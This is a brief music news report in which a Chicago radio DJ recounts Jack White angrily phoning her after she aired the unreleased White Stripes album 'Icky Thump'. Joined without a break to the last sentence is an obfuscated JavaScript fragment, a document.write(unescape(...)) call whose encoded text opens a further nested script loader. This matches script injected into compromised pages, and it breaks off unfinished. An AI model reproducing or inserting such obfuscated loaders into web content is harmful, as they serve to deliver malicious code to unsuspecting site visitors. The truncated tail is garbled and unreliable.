Jack White telephoned a radio station in America today to berate a DJ after she played the unreleased new White Stripes album on-air, according to reports.
Electra, from Chicago's Q101, says the rocker was so angry about her airing "Icky Thump" that he almost made her cry.
She explained: "At 2pm today, during my show Q101 became the first station in the world to play the new White Stripes album 'Icky Thump'.
"At 4pm today Jack White called Q101's main offices from Spain where they're touring, looking specifically for me, to yell at me for leaking the album and, in part, being 'messed up for the entire (music) business'.
"I felt like I was going to throw up. Weirdest, most surreal conversation of my life", commented Electra.
She continued: "Jack asked me to take responsibility for leaking the record, and asked if I was sorry for what I'd done.
"We tried to explain where we were coming from - someone gave us a copy of a record that we were really excited to play, and the whole experience was an hour-long love-fest for him and his band - but he wasn't having it.
"He hung up, very, very angry, and I thought I was going to cry", said Electra.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
